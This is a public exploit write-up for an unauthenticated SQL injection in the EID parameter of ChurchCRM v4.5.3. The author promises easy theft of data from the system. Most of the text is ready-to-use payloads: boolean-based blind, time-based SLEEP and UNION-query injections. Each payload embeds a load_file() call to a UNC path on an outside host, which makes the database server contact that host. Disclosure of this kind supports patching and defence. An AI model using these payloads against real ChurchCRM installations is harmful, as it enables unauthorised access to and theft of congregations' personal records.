ChurchCRM v4.5.3-121fcc1 – SQL Injection
## Exploit Title: ChurchCRM v4.5.3-121fcc1 - SQL Injection ## Author: nu11secur1ty ## Date: 02.27.2023 ## Vendor: http://churchcrm.io/ ## Software: https://github.com/ChurchCRM/CRM ## Reference: https://portswigger.net/web-security/sql-injection ## Description: In the manual insertion point 1 - parameter `EID` appears to be vulnerable to SQL injection attacks. No need for cookies, no need admin authentication and etc. The attacker easily can steal information from this system by using this vulnerability. STATUS: HIGH Vulnerability - CRITICAL [+]Payload: ```mysql --- Parameter: EID (GET) Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: EID=(select load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com\\ior')) OR NOT 2407=2407 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: EID=(select load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com\\ior')) AND (SELECT 9547 FROM (SELECT(SLEEP(3)))QEvX) Type: UNION query Title: MySQL UNION query (UTF8) - 11 columns Payload: EID=(select load_file('\\\\l4qwtfn9ngsxicbtklv0x1e1rsxllb92bq2gp6dv.smotaniak.com\\ior')) UNION ALL SELECT 'UTF8','UTF8',CONCAT(0x716a6b7a71,0x57646e6842556a56796a75716b504b4d6941786f7578696a4c557449796d76425645505670694b42,0x717a7a7871),'UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8','UTF8'# --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/ChurchCRM/2023/ChurchCRM-4.5.3-121fcc1) ## Proof and Exploit: [href](https://streamable.com/1eqhw2) ## Time spend: 01:00:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.html and https://www.exploit-db.com/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/> |